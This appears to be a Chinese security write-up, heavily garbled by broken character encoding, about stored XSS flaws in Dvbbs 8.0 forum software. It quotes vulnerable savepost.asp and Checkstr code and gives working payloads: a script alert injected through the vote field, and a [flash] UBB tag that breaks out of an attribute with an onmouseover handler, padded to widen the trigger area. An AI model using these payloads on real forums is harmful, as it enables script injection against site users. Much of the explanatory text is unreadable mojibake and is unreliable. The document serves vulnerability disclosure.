8.0XSS©

[8.0XSS© ȫ]
[ԭ]8.0XSS©
ϢԴа˽ϢȫŶӣwww.eviloctal.com
ߣҶ׷&ļ

    savepost.aspļ©£
.....ʡ........
vote=Dvbbs.Checkstr(trim(Replace(request.Form("vote"),"|","")))
.....ʡ.......
Dvbbs.execute("insert into dv_vote (vote,votenum,votetype,timeout,UArticle,UWealth,UEP,UCP,UPower,LockVote) values (''"&vote&"'',''"&votenum&"'',"&votetype&",''"&votetimeout&"'',"&UArticle&","&UWealth&","&UEP&","&UCP&","&UPower&","&LockVote&")")
......ʡ.......
    checkstr£
Public Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function 
End If
Str = Replace(Str,Chr(0),"")
CheckStr = Replace(Str,"''","''''")
End Function
    voteֻ˵š%00|ڲԵĹУȻǹ˫š"š''ûйˡһ飬ȻͶƱͶƱѡӡ<script>alert(''Ҷ׷'')</script>ͼ1Чͼ2

 

 
    վ©ΪUBBǩ˲ϣӦ˰ɣʽ鷳N࣬ҾͲ©ˣȤĿȥsavepost.aspubblist.aspļ©[flash][RM][MP]ʵ[img]ȶڣֻҪƱȽϴӣҲȥˣ[flash]ǩ©˵ǽһ飬ѡ񷢱ӣȻ[flash]http://" onmouseover=java:alert("leaves") aa="s[/flash],Ȼ󷢱˰ɡͼ34ʾ  =)

 

 
    ҪȵƵʱܴXSS䣬ǿ԰Ѵͨһ£磺http://" onmouseover=java:alert("leaves") aa="ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssܰѷΧˡ

[flash]
http://" onmouseover=java:alert("ļ") aa="s
1
1
1
1
1
1
1
1
1
11
[/flash]

    Ҫڻظ÷пվĻҪд
[flash]http://" onmouseover=java:alert("ļ") aa="s
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[/flash]

    ÷硫Ӻݶ.....